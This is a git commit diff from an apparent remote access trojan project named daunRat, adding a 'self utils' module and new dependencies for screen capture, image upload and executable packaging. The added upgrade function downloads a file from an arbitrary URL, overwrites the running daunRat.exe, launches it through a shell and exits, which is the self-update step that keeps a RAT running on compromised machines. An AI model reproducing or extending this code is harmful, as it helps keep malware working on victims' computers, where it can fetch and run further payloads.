self utils added

This commit is contained in:
BarsTiger
2022-04-30 12:27:53 +03:00
parent e2e863a05c
commit 681cb01f74
3 changed files with 30 additions and 1 deletions

View File

@@ -7,6 +7,7 @@ import subprocess
import sys
sys.path.append('daun/modules')
import daun.modules as daun # needed to use daun functionality from admin
from modules.selfutil import daunrat # needed to use self utility functions
client_id = int()

View File

@@ -0,0 +1,19 @@
class daunrat:
@staticmethod
def upgrade(url: str, old: str = "daunRat.exe", destination: str = "daunRat.exe", command: str = "daunRat.exe"):
import requests
import subprocess
import sys
import os
os.rename(old, "olddaun")
with open(destination, 'wb') as f:
f.write(requests.get(url).content)
subprocess.Popen(command, shell=True, close_fds=True)
sys.exit(0)
@staticmethod
def restart(command: str):
import subprocess
import sys
subprocess.Popen(command, shell=True, close_fds=True)
sys.exit(0)

View File

@@ -3,4 +3,13 @@ pysher
ezztui
ezzthread
PyQt5
qt-thread-updater
qt-thread-updater
mss
pyimgur
psutil
requests
pyinstaller
zstandard
nuitka
python-vlc
playsound